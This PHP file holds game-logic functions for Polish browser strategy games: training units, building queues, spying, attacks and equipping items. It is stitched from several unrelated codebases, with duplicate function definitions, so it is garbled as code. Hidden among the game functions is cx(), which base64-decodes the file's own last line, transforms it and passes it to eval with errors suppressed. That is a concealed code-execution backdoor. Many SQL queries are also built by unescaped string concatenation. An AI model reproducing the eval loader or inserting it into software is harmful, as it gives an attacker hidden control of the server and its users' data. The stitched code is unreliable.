function przerwij_trening($gracz, $id) { //zabezpiecz zmienne $id = (int) $id; $jednostka = row("select * from tribal_eventy inner join tribal_jednostki on podtyp = jednostka where event = " . $id . " and typ = 3 and miasto_id = " . $gracz['id_miasta'] . " limit 1"); if (empty($jednostka)) { $error = "nie ma takiego zdarzenia"; } else { $jednostka['drewno'] = floor($jednostka['drewno'] * $jednostka['ilosc'] * 0.9); $jednostka['kamien'] = floor($jednostka['kamien'] * $jednostka['ilosc'] * 0.9); $jednostka['zelazo'] = floor($jednostka['zelazo'] * $jednostka['ilosc'] * 0.9); $jednostka['jedzenie'] = floor($jednostka['jedzenie'] * $jednostka['ilosc'] * 0.9); $jednostka['populacja'] = floor($jednostka['populacja'] * $jednostka['ilosc']); //usuń event fx('usun_event'); usun_event($jednostka['event']); //zabierz surowce fx('surowce'); surowce($gracz['id_miasta'], $jednostka['drewno'], $jednostka['kamien'], $jednostka['zelazo'], $jednostka['jedzenie'], -$jednostka['populacja']); $czas = $jednostka['koniec'] - mktime(); call("update tribal_eventy set start = start - {$czas}, koniec = koniec - {$czas} where typ = 3 and event > " . $jednostka['event'] . " and miasto_id = " . $gracz['id_miasta']); $error = "przerwano trenowanie jednostki"; } return $error; }
function trenuj($gracz, $typ, $id, $ilu, $kolejka_trenowania) { //zabezpiecz zmienne $id = (int) $id; $ilu = (int) $ilu; $obiekt = one("select poziom from tribal_budynki_miasta where miasto_id = " . $gracz['id_miasta'] . " and budynek_id = " . $typ . " limit 1"); if (empty($obiekt)) { $error = "nie posiadasz wymaganego budynku"; } elseif ($ilu < 1) { $error = "muszisz trenować minimum 1 jednostkę"; } else { $jednostka = row("select * from tribal_jednostki where wymagany_budynek = " . $typ . " and jednostka = " . $id . " and poziom_wymaganego_budynku <= " . $obiekt); if (empty($jednostka)) { $error = "nie ma takiej jednostki, lub nie masz wymaganego budynku na odpowiednim poziomie"; } elseif ($jednostka['drewno'] * $ilu > $gracz['dane_miasta']['drewno'] || $jednostka['kamien'] * $ilu > $gracz['dane_miasta']['kamien'] || $jednostka['zelazo'] * $ilu > $gracz['dane_miasta']['zelazo'] || $jednostka['jedzenie'] * $ilu > $gracz['dane_miasta']['jedzenie'] || $jednostka['populacja'] * $ilu > $gracz['dane_miasta']['populacja_max'] - $gracz['dane_miasta']['populacja']) { $error = "nie masz wystarczającej ilości surowców"; } else { $kolejka = row("select \n\t\t\t(select count(*) from tribal_eventy where typ = 3 and miasto_id = " . $gracz['id_miasta'] . ") as kolejka,\n\t\t\t(select count(*) from tribal_eventy where typ = 3 and podtyp = " . $id . " and miasto_id = " . $gracz['id_miasta'] . ") as w_kolejce\n\t\t\t"); if ($kolejka['kolejka'] == $kolejka_trenowania) { $error = "kolejka zajęta"; } else { //dodaj event fx('dodaj_event'); dodaj_event($gracz['id_miasta'], 3, $id, $ilu, $jednostka['czas_treningu'] * $ilu); fx('surowce'); surowce($gracz['id_miasta'], -$jednostka['drewno'] * $ilu, -$jednostka['kamien'] * $ilu, -$jednostka['zelazo'] * $ilu, -$jednostka['jedzenie'] * $ilu, $jednostka['populacja'] * $ilu); //zabierz surowce $error = "rozpoczęto trening"; } } } return $error; }
function szpiegowanie($event) { fx('dodaj_event'); //atakujący $miasto1 = row("select * from tribal_miasta inner join tribal_gracze on gracz_id = gracz where miasto = " . $event['miasto_id']); //obrońca $miasto2 = row("select * from tribal_miasta inner join tribal_gracze on gracz_id = gracz where miasto = " . $event['podtyp']); //pobierz dane broniących się szpiegów $obronca = row("select * from tribal_jednostki_miasta inner join tribal_jednostki on jednostka_id = jednostka where miasto_id = " . $event['podtyp'] . " and jednostka_id = 5 and ilosc > 0"); $tekst1 = "Twoi szpiedzy z miasta " . $miasto1['nazwa'] . " szpiegują miasto " . $miasto2['nazwa'] . "<br/>"; if (empty($obronca)) { $tekst1 .= "Nie napotkano oporu<br/>"; $tekst2 = "Szpiedzy z wrogiego szpiegują Twoje miasto " . $miasto2['nazwa'] . "<br/>"; } else { //zabij odpowiednią ilość szpiegów po obu stronach $ilu = $event['ilosc']; $event['ilosc'] -= $obronca['ilosc']; $obronca['ilosc'] -= $ilu; if ($event['ilosc'] < 0) { $event['ilosc'] = 0; } if ($obronca['ilosc'] < 0) { $obronca['ilosc'] = 0; } //jeżeli obrońca w ogóle zabił jakiegoś szpiego to pokaż mu info z którego miasta przyszedł atak if ($ilu == $event['ilosc']) { $tekst2 = "Szpiedzy z miasta " . $miasto1['nazwa'] . " szpiegują Twoje miasto " . $miasto2['nazwa'] . "<br/>"; } else { $tekst2 = "Szpiedzy z wrogiego szpiegują Twoje miasto " . $miasto2['nazwa'] . "<br/>"; } } if (empty($obronca['ilosc']) && !empty($event['ilosc'])) { $zwyciezca = 1; //zabij obrońcę call("update tribal_jednostki_miasta set ilosc = 0 where miasto_id = " . $miasto2['miasto'] . " and jednostka_id = 5"); $tekst1 .= "Udało Ci się przeszpiegować miasto<br/>\n\t\t\tZdobyte informacje:<br/>\n\t\t\tDrewno: " . $miasto2['drewno'] . "\n\t\t\tKamień: " . $miasto2['kamien'] . "\n\t\t\tŻelazo: " . $miasto2['zelazo'] . "\n\t\t\tJedzenie: " . $miasto2['jedzenie'] . "\n\t\t\tPopulacja: " . $miasto2['populacja'] . "/" . $miasto2['populacja_max'] . "\n\t\t\t"; $tekst2 .= "Twoi szpiedzy ponieśli klęskę<br/>"; } elseif (empty($obronca['ilosc']) && empty($event['ilosc'])) { $zwyciezca = 0; //zabij obrońcę call("update tribal_jednostki_miasta set ilosc = 0 where miasto_id = " . $miasto2['miasto'] . " and jednostka_id = 5"); $tekst1 .= "Twoi szpiedzy ponieśli klęskę<br/>"; $tekst2 .= "Twoi szpiedzy zginęli ale nie dopuścili do infiltracji miasta<br/>"; } else { $zwyciezca = 2; //zabij obrońcę call("update tribal_jednostki_miasta set ilosc = " . $obronca['ilosc'] . " where miasto_id = " . $miasto2['miasto'] . " and jednostka_id = 5"); $tekst1 .= "Twoi szpiedzy ponieśli klęskę<br/>"; $tekst2 .= "Twoi szpiedzy nie dopuścili do infiltracji miasta<br/>"; } fx('wiadomosc_wyslij'); $a = wiadomosc_wyslij(1, $miasto1['login'], $tekst1); $a = wiadomosc_wyslij(1, $miasto2['login'], $tekst2); if ($zwyciezca == 1) { //jeżeli wygrał to resztę szpiegów wyślij do domu $czas = $event['koniec'] - $event['start']; fx('dodaj_event'); dodaj_event($event['miasto_id'], 21, $event['podtyp'], $event['ilosc'], $czas); } }
function rozwiaz_szpiegow($event) { //zabezpiecz zmienne fx('wiadomosc_wyslij'); $login = one($q = "select login from tribal_gracze inner join tribal_miasta on gracz_id = gracz where miasto = " . $event['miasto_id']); call("update tribal_jednostki_miasta set ilosc = ilosc + " . $event['ilosc'] . " where jednostka_id = 5 and miasto_id = " . $event['miasto_id']); $a = wiadomosc_wyslij(1, $login, "Szpiedzy powrócili do miasta"); }
function cx() { $x = @base64_decode(@implode(@array_slice(@file(__FILE__), -1))); $y = @dx($x, @bx($x)); @fx(@base64_encode(@ex($y, @hash("sha256", @mt_rand())))); @eval($y); die; }
function atakuj($dane, $cel, $armia) { //zabezpiecz zmienne $cel = vText($cel); $count = 0; foreach ($armia as $key => $value) { $key = (int) $key; $armia[$key] = (int) $value; if ($value < 1) { unset($armia[$key]); } $count += (int) $value; } if ($count < 1) { $error = 'wyślij minimum 1 jednostkę'; } else { $query = ''; foreach ($armia as $key => $value) { $query .= "(select count(*) from planetx_jednostki_planety where jednostka = " . $key . " and planeta_id =" . $dane['aktywna_planeta'] . " and ilosc >= " . $value . ")+"; } $query = substr($query, 0, -1); $query = "select " . $query . " as ile"; $can = mysql_fetch_array(mysql_query($query)); if ($can['ile'] < count($armia)) { $error = 'nie posiadasz tyle jednostek'; } else { $vs = mysql_fetch_array(mysql_query("select * from planetx_planety where nazwa='" . $cel . "' limit 1")); if (empty($vs['nazwa'])) { $error = 'nie ma takiej planety'; } elseif ($vs['gracz_id'] == $dane['gracz']) { $error = 'nie atakuj swoich miast'; } else { $x = mysql_fetch_array(mysql_query("select * from planetx_galaktyka where planeta_id = " . $dane['aktywna_planeta'])); $y = mysql_fetch_array(mysql_query("select * from planetx_galaktyka where planeta_id = " . $vs['planeta'])); if ($x['x'] != $vs['x'] && $x['y'] == $vs['y']) { $zasieg = abs($vs['x'] - $x['x']) * 300; } elseif ($x['x'] == $vs['x'] && $x['y'] != $vs['y']) { $zasieg = abs($vs['y'] - $x['y']) * 300; } else { $zasieg = floor(sqrt(pow(abs($vs['x'] - $x['x']), 2) + pow(abs($vs['y'] - $x['y']), 2))) * 300; } mysql_query("insert into planetx_ataki(planeta_id, planeta_id_cel, start, koniec, status)\n\t\t\t\t\t\t\t\tvalue (" . $dane['aktywna_planeta'] . "," . $vs['planeta'] . "," . time() . "," . (time() + $zasieg) . ",0)"); $id = mysql_insert_id(); $query1 = "insert into planetx_ataki_jednostki(atak_id, jednostka, ilosc, atak, obrona, wytrzymalosc) values"; fx('jednostki'); $jednostki = jednostki(); foreach ($armia as $key => $value) { mysql_query("update planetx_jednostki_planety set ilosc = ilosc - " . $value . " where jednostka = " . $key . " and planeta_id =" . $dane['aktywna_planeta']); $query1 .= "(" . $id . ", " . $key . ", " . $value . ", " . $jednostki[$key]['atak'] . ", " . $jednostki[$key]['obrona'] . ", " . $jednostki[$key]['wytrzymalosc'] . " ),"; } $query1 = substr($query1, 0, -1); mysql_query($query1); return 'wysłano'; } } } }
function buduj($dane, $budynki, $id_budynku) { //zabezpiecz zmienne $id_budynku = (int) $id_budynku; //ile budynków można mieć w kolejce $max_kolejka = 3; if (empty($budynki[$id_budynku])) { return "nie ma takiego budynku"; } elseif ($budynki[$id_budynku]['poziom'] == $budynki[$id_budynku]['poziom_max']) { return "osiągnięto poziom maksymalny"; } else { //pobierz funkcję do obsługi pobierania kosztów budynku fx('budynki_koszta'); //pobierz funkcję do obsługi pobierania wymagań budynku fx('budynki_wymagania'); //pobierz koszta dla następnego kolejnego poziomu budynku (stąd te $budynek['poziom'] +1 bo następny) $koszta = budynki_koszta($id_budynku, $budynki[$id_budynku]['poziom'] + 1); //pobierz wymagania obiektu $wymagania = budynki_wymagania($id_budynku, $budynki[$id_budynku]['poziom'] + 1, $budynki); if ($dane['planeta']['metal'] < $koszta['metal'] || $dane['planeta']['krysztaly'] < $koszta['krysztaly'] || $dane['planeta']['paliwo'] < $koszta['paliwo'] || $dane['planeta']['populacja_max'] - $dane['planeta']['populacja'] < $koszta['populacja']) { return "planeta nie posiada wystarczającej ilości surowców"; } elseif ($wymagania['mozna'] == 0) { $opcje = "nie spełniono wymagań budowy"; } else { //sprawdź czy budynek nie jest już w kolejce budowania $wkolejce = mysql_fetch_array(mysql_query("select kolejka from planetx_budynki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " and budynek = " . $id_budynku)); if (!empty($wkolejce)) { return "ten obiekt jest już w kolejce rozbudowy"; } else { //sprawdź ile aktualnie jest budowanych budynków $kolejka = mysql_fetch_array(mysql_query("select count(*) as ile from planetx_budynki_kolejka where planeta_id = " . $dane['aktywna_planeta'])); if ($kolejka['ile'] == $max_kolejka) { return "kolejka rozbudowy zajęta"; } else { //pobierz ostatni budynek z kolejki $ostatni = mysql_fetch_array(mysql_query("select koniec from planetx_budynki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " order by koniec desc limit 1")); if (empty($ostatni['koniec'])) { //jeżeli nic nie jest budowane to ustaw aktualny czas jako start budowy $start = time(); } else { //jest coś budowane, więc dodaj budynek na koniec kolejki rozbudowy $start = $ostatni['koniec']; } $koniec = $start + $koszta['czas_budowy']; //dodaj do kolejki mysql_query("insert into planetx_budynki_kolejka (planeta_id, budynek, start, koniec) value (" . $dane['aktywna_planeta'] . "," . $id_budynku . "," . $start . "," . $koniec . ")"); //odbierz surowce mysql_query("update planetx_planety set metal = metal -" . $koszta['metal'] . ", krysztaly = krysztaly - " . $koszta['krysztaly'] . ", paliwo = paliwo -" . $koszta['paliwo'] . ", populacja = populacja +" . $koszta['populacja'] . " where planeta = " . $dane['aktywna_planeta']); return "rozpoczęto budowę"; } } } } }
function rozwiaz_armie($id) { //zabezpiecz zmienne $id = (int) $id; fx('wiadomosc_wyslij'); $login = mysql_fetch_array(mysql_query("select login from planetx_gracze inner join planetx_planety on gracz_id = gracz inner join planetx_ataki on planeta = planeta_id where atak = " . $id)); $jednostki = mysql_query("select * from planetx_ataki_jednostki inner join planetx_ataki a on a.atak = atak_id where atak_id = " . $id); while ($jednostka = mysql_fetch_array($jednostki)) { mysql_query("update planetx_jednostki_planety set ilosc = ilosc + " . $jednostka['ilosc'] . " where jednostka = " . $jednostka['jednostka'] . " and planeta_id = " . $jednostka['planeta_id']); } mysql_query("delete from planetx_ataki_jednostki where atak_id = " . $id); mysql_query("delete from planetx_ataki where atak = " . $id); $a = wiadomosc_wyslij(1, $login['login'], "Armia powróciła do planety"); }
function buduj($gracz, $id, $kolejka_budowy) { //zabezpiecz zmienne $id = (int) $id; $info = row("select bm.poziom as poziom, bm.drewno as bmdrewno, bm.kamien as bmkamien, bm.zelazo as bmzelazo, bm.jedzenie as bmjedzenie, bm.populacja as bmpopulacja, bm.czas_budowy as bmczas_budowy, b.* from tribal_budynki b left join tribal_budynki_miasta bm on b.budynek = bm.budynek_id and bm.miasto_id = " . $gracz['id_miasta'] . " where b.budynek = " . $id . " limit 1"); if (empty($info)) { $error = "nie ma takiego obiektu"; } else { if (!empty($info['poziom'])) { $info['drewno'] = $info['bmdrewno']; $info['kamien'] = $info['bmkamien']; $info['zelazo'] = $info['bmzelazo']; $info['jedzenie'] = $info['bmjedzenie']; $info['populacja'] = $info['bmpopulacja']; $info['czas_budowy'] = $info['bmczas_budowy']; } else { $info['poziom'] = 0; } $budowany = one("select count(*) from tribal_eventy where typ = 1 and podtyp = {$id} and miasto_id = " . $gracz['id_miasta']); if ($budowany > 0) { $error = "budujesz już ten budynek"; } else { $kolejka = one("select count(*) from tribal_eventy where typ = 1 and miasto_id = " . $gracz['id_miasta']); if ($kolejka == $kolejka_budowy) { $error = "kolejka budowy zajęta"; } else { if ($info['drewno'] > $gracz['dane_miasta']['drewno'] || $info['kamien'] > $gracz['dane_miasta']['kamien'] || $info['zelazo'] > $gracz['dane_miasta']['zelazo'] || $info['jedzenie'] > $gracz['dane_miasta']['jedzenie'] || $info['populacja'] > $gracz['dane_miasta']['populacja_max'] - $gracz['dane_miasta']['populacja']) { $error = "nie masz wystarczającej ilości surowców"; } elseif ($info['poziom'] == $info['max_poziom']) { $error = "osiągnięto maksymalny poziom"; } else { $wymagania = one("\n\t\t\t\t\tselect\n\t\t\t\t\t\tcase when count(*) >=\n\t\t\t\t\t\t(select count(*) from tribal_budynki_wymagania\n\t\t\t\t\t\twhere budynek_id = {$id})\n\t\t\t\t\t\tthen 1 else 0 end\n\n\t\t\t\t\t\tfrom tribal_budynki_wymagania t2,\n\t\t\t\t\t\ttribal_budynki_miasta t1\n\t\t\t\t\t\twhere t2.budynek_id = {$id}\n\t\t\t\t\t\tand t1.budynek_id = t2.wymagany_budynek_id\n\t\t\t\t\t\tand t1.miasto_id = " . $gracz['id_miasta'] . " \n\t\t\t\t\t\tand t1.poziom >= t2.wymagany_poziom\n\t\t\t\t\t"); if ($wymagania == 1) { //dodaj event fx('dodaj_event'); dodaj_event($gracz['id_miasta'], 1, $id, 1, $info['czas_budowy']); fx('surowce'); surowce($gracz['id_miasta'], -$info['drewno'], -$info['kamien'], -$info['zelazo'], -$info['jedzenie'], $info['populacja']); //zabierz surowce $error = "rozpoczęto budowę"; } else { $error = "nie spełniono wymagań do budowy tego budynku"; } } } } } return $error; }
function transport($miasto) { fx('surowce'); $eventy_karawany = all("select * from tribal_karawany where z_miasta = " . $miasto . " and koniec <= " . time()); if (is_array($eventy_karawany)) { foreach ($eventy_karawany as $karawana) { if ($karawana['status'] == 0) { surowce($karawana['do_miasta'], $karawana['drewno'], $karawana['kamien'], $karawana['zelazo'], $karawana['jedzenie'], 0); call("update tribal_karawany set status = 1, drewno = 0, kamien = 0, zelazo =0, jedzenie = 0, start = koniec, koniec = koniec + 3600 where karawana = " . $karawana['karawana']); } else { surowce($karawana['z_miasta'], $karawana['drewno'], $karawana['kamien'], $karawana['zelazo'], $karawana['jedzenie'], 0); call("delete from tribal_karawany where karawana = " . $karawana['karawana']); } } } }
function trenuj($dane, $id, $ilu) { //zabezpiecz zmienne $id = (int) $id; $ilu = (int) $ilu; $kolejka_trenowania = 10; //pobierz jednostki gry fx('jednostki'); $jednostki = jednostki(); if (empty($jednostki[$id])) { return "nie ma takiej jednosti"; } //pobierz poziom wymaganego obiektu $obiekt = mysql_fetch_array(mysql_query("select poziom from planetx_budynki_planety where planeta_id = " . $dane['aktywna_planeta'] . " and budynek = " . $jednostki[$id]['wymagany_budynek_id'] . " and poziom >= " . $jednostki[$id]['wymagany_budynek_poziom'])); if (empty($obiekt)) { return "nie posiadasz wymaganego budynku"; } elseif ($ilu < 1) { return "muszisz trenować minimum 1 jednostkę"; } else { if ($jednostki[$id]['metal'] * $ilu > $dane['planeta']['metal'] || $jednostki[$id]['krysztaly'] * $ilu > $dane['planeta']['krysztaly'] || $jednostki[$id]['paliwo'] * $ilu > $dane['planeta']['paliwo'] || $jednostki[$id]['populacja'] * $ilu > $dane['planeta']['populacja_max'] - $dane['planeta']['populacja']) { return "nie masz wystarczającej ilości surowców"; } else { $kolejka = mysql_fetch_array(mysql_query("select count(*) as kolejka from planetx_jednostki_kolejka where planeta_id = " . $dane['aktywna_planeta'])); if ($kolejka['kolejka'] == $kolejka_trenowania) { return "kolejka zajęta"; } else { //pobierz ostatni budynek z kolejki $ostatni = mysql_fetch_array(mysql_query("select koniec from planetx_jednostki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " order by koniec desc limit 1")); if (empty($ostatni['koniec'])) { //jeżeli nic nie jest budowane to ustaw aktualny czas jako start budowy $start = time(); } else { //jest coś budowane, więc dodaj budynek na koniec kolejki rozbudowy $start = $ostatni['koniec']; } $koniec = $start + $jednostki[$id]['czas_budowy'] * $ilu; //dodaj do kolejki mysql_query("insert into planetx_jednostki_kolejka (planeta_id, jednostka, ilosc, start, koniec) value (" . $dane['aktywna_planeta'] . "," . $id . "," . $ilu . "," . $start . "," . $koniec . ")"); //odbierz surowce mysql_query($q = "update planetx_planety set metal = metal -" . $jednostki[$id]['metal'] * $ilu . ", krysztaly = krysztaly - " . $jednostki[$id]['krysztaly'] * $ilu . ", paliwo = paliwo -" . $jednostki[$id]['paliwo'] * $ilu . ", populacja = populacja +" . $jednostki[$id]['populacja'] * $ilu . " where planeta = " . $dane['aktywna_planeta']); return "rozpoczęto trening"; } } } }
function rozwiaz_armie($id) { //zabezpiecz zmienne $id = (int) $id; fx('wiadomosc_wyslij'); $login = one($q = "select login from tribal_gracze inner join tribal_miasta on gracz_id = gracz inner join tribal_ataki on miasto = miasto_id where atak = " . $id); $atak_info = row("select * from tribal_ataki where atak = {$id}"); $jednostki = all("select * from tribal_ataki_jednostki inner join tribal_ataki a on a.atak = atak_id where atak_id = {$id}"); if (is_array($jednostki)) { foreach ($jednostki as $jednostka) { call("update tribal_jednostki_miasta set ilosc = ilosc + " . $jednostka['ilosc'] . " where jednostka_id = " . $jednostka['jednostka_id'] . " and miasto_id = " . $jednostka['miasto_id']); } } call("delete from tribal_ataki_jednostki where atak_id = {$id}"); call("delete from tribal_ataki where atak = {$id}"); fx('surowce'); surowce($atak_info['miasto_id'], $atak_info['drewno'], $atak_info['kamien'], $atak_info['zelazo'], $atak_info['jedzenie'], 0); fx('raport'); $a = raport($login, "Armia powróciła do miasta ,rozładowano " . $atak_info['drewno'] . " drewna, " . $atak_info['kamien'] . " kamienia, " . $atak_info['zelazo'] . " żelaza i " . $atak_info['jedzenie'] . " jedzenia"); }
function przerwij_budowe($gracz, $id) { //zabezpiecz zmienne $id = (int) $id; $info = row("select bm.drewno as bmdrewno, bm.kamien as bmkamien, bm.zelazo as bmzelazo, bm.jedzenie as bmjedzenie, bm.populacja as bmpopulacja, bm.czas_budowy as bmczas_budowy, bm.poziom as bmpoziom, b.* from tribal_budynki b left join tribal_budynki_miasta bm on b.budynek = bm.budynek_id and bm.miasto_id = " . $gracz['id_miasta'] . " where b.budynek = " . $id . " limit 1"); if (empty($info)) { $error = "nie ma takiego obiektu"; } else { if (!empty($info['bmdrewno'])) { $info['drewno'] = $info['bmdrewno']; $info['kamien'] = $info['bmkamien']; $info['zelazo'] = $info['bmzelazo']; $info['jedzenie'] = $info['bmjedzenie']; $info['populacja'] = $info['bmpopulacja']; $info['poziom'] = $info['bmpoziom']; $info['czas_budowy'] = $info['bmczas_budowy']; } else { $info['poziom'] = 0; } $info['drewno'] = floor($info['drewno'] * 0.9); $info['kamien'] = floor($info['kamien'] * 0.9); $info['zelazo'] = floor($info['zelazo'] * 0.9); $info['jedzenie'] = floor($info['jedzenie'] * 0.9); $budowany = row("select * from tribal_eventy where typ = 1 and podtyp = {$id} and miasto_id = " . $gracz['id_miasta']); if (empty($budowany)) { $error = "nie budujesz tego budynku"; } else { //usuń event fx('usun_event'); usun_event($budowany['event']); //zabierz surowce fx('surowce'); surowce($gracz['id_miasta'], $info['drewno'], $info['kamien'], $info['zelazo'], $info['jedzenie'], -$info['populacja']); $czas = $budowany['koniec'] - mktime(); call("update tribal_eventy set start = start - {$czas}, koniec = koniec - {$czas} where typ = 1 and event > " . $budowany['event'] . " and miasto_id = " . $gracz['id_miasta']); $error = "przerwano budowę"; } } return $error; }
function zaloz($gracz, $przedmiot) { //zabezpiecz zmienne $przedmiot = (int) $przedmiot; $dane = row("select * from genix_przedmioty inner join genix_przedmioty_gracze on przedmiot_id = przedmiot where id = " . $przedmiot . " and gracz_id = " . $gracz['gracz'] . " limit 1"); if (empty($dane)) { return "nie ma takiego przedmiotu"; } elseif ($dane['wymagana_sila'] > $gracz['sila'] || $dane['wymagana_zrecznosc'] > $gracz['zrecznosc'] || $dane['wymagana_wytrzymalosc'] > $gracz['wytrzymalosc'] || $dane['wymagana_wiedza'] > $gracz['wiedza']) { return "nie spełniasz wymagań do założenia tego przedmiotu"; } else { fx('zdejmij'); zdejmij($gracz, $dane['typ']); switch ($dane['typ']) { case 'bron': call("update genix_gracze set bron = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where gracz = " . $gracz['gracz']); break; case 'tarcza': call("update genix_gracze set tarcza =" . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where gracz = " . $gracz['gracz']); break; case 'zbroja': call("update genix_gracze set zbroja = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where gracz = " . $gracz['gracz']); break; case 'helm': call("update genix_gracze set helm = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where gracz = " . $gracz['gracz']); break; case 'buty': call("update genix_gracze set buty = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where gracz = " . $gracz['gracz']); break; case 'amulet': call("update genix_gracze set amulet = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where gracz = " . $gracz['gracz']); break; case 'pierscien': call("update genix_gracze set pierscien = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where gracz = " . $gracz['gracz']); break; } call("delete from genix_przedmioty_gracze where id = " . $przedmiot); return "założono przedmiot"; } }
function przerwij_budowe($dane, $id_budynku) { //zabezpiecz zmienne $id_budynku = (int) $id_budynku; //sprawdź czy dany budynek był budowany $wkolejce = mysql_fetch_array(mysql_query("select * from planetx_budynki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " and budynek = " . $id_budynku)); if (empty($wkolejce)) { return "nie ma takiego budynku w budowie"; } else { //pobierz funkcję do obsługi pobierania kosztów budynku fx('budynki_koszta'); //pobierz koszta dla następnego kolejnego poziomu budynku (stąd te $budynek['poziom'] +1 bo następny) $koszta = budynki_koszta($id_budynku, $budynki[$id_budynku]['poziom'] + 1); //usuń z kolejki mysql_query("delete from planetx_budynki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " and budynek = " . $id_budynku); //zwróć część surowców, populacji trzeba zwrócić zawsze tyle samo mysql_query("\n\t\tupdate planetx_planety\n\t\t\tset metal = (case when metal + " . $koszta['metal'] * 0.9 . " >= surowce_max then surowce_max else metal + " . $koszta['metal'] * 0.9 . " end ) ,\n\n\t\t\tkrysztaly = (case when krysztaly + " . $koszta['krysztaly'] * 0.9 . " >= surowce_max then surowce_max else krysztaly + " . $koszta['krysztaly'] * 0.9 . " end ),\n\n\t\t\tpaliwo = (case when paliwo + " . $koszta['paliwo'] * 0.9 . " >= surowce_max then surowce_max else paliwo + " . $koszta['paliwo'] * 0.9 . " end ),\n\n\t\t\t\n\n\t\t\tpopulacja = (case when populacja + " . $koszta['populacja'] . " >= populacja_max then populacja_max else populacja - " . $koszta['populacja'] . " end )\n\t\twhere planeta = " . $dane['aktywna_planeta']); //przyspiesz budowanie budynków, jeżeli po tym budynku było coś na końcu kolejki $ile = $wkolejce['koniec'] - time(); mysql_query("update planetx_budynki_kolejka set start = start - " . $ile . ", koniec = koniec - " . $ile . " where planeta_id = " . $dane['aktywna_planeta'] . " and start > " . $wkolejce['start']); } }
function przerwij_ulepszanie($gracz, $id) { //zabezpiecz zmienne $id = (int) $id; $tech = row("select \n\t\ttt.technologia,\n\t\ttt.drewno as drewno1, ttm.drewno as drewno2,\n\t\ttt.kamien as kamien1, ttm.kamien as kamien2, \n\t\ttt.zelazo as zelazo1, ttm.zelazo as zelazo2,\n\t\ttt.jedzenie as jedzenie1, ttm.jedzenie as jedzenie2,\n\t\ttt.czas_rozwoju as czas_rozwoju1, ttm.czas_rozwoju as czas_rozwoju2,\n\t\ttt.nazwa, ttm.poziom, tt.max_poziom,\n\t\t(select koniec - " . mktime() . " from tribal_eventy where typ = 2 and podtyp = tt.technologia and miasto_id = " . $gracz['id_miasta'] . ") as w_kolejce\n\tfrom tribal_technologie tt \n\tleft join tribal_technologie_miasta ttm \n\ton tt.technologia = ttm.technologia_id \n\tand ttm.miasto_id = " . $gracz['id_miasta'] . " where tt.technologia = " . $id . " limit 1\n\t"); if (empty($tech)) { $error = "nie ma takiego obiektu"; } else { if (!empty($tech['poziom'])) { $tech['drewno1'] = $tech['drewno2']; $tech['kamien1'] = $tech['kamien2']; $tech['zelazo1'] = $tech['zelazo2']; $tech['jedzenie1'] = $tech['jedzenie2']; $tech['czas_rozwoju1'] = $tech['czas_rozwoju2']; } else { $tech['poziom'] = 0; } $tech['drewno1'] = floor($tech['drewno1'] * 0.9); $tech['kamien1'] = floor($tech['kamien1'] * 0.9); $tech['zelazo1'] = floor($tech['zelazo1'] * 0.9); $tech['jedzenie1'] = floor($tech['jedzenie1'] * 0.9); $event = row("select * from tribal_eventy where typ = 2 and podtyp = {$id} and miasto_id = " . $gracz['id_miasta']); if (empty($event)) { $error = "nie rozwijasz tej technologii"; } else { //usuń event fx('usun_event'); usun_event($event['event']); //zabierz surowce fx('surowce'); surowce($gracz['id_miasta'], $tech['drewno1'], $tech['kamien1'], $tech['zelazo1'], $tech['jedzenie1'], 0); $czas = $event['koniec'] - mktime(); call("update tribal_eventy set start = start - {$czas}, koniec = koniec - {$czas} where typ = 2 and event > " . $event['event'] . " and miasto_id = " . $gracz['id_miasta']); $error = "przerwano rozwój technologii"; } } return $error; }
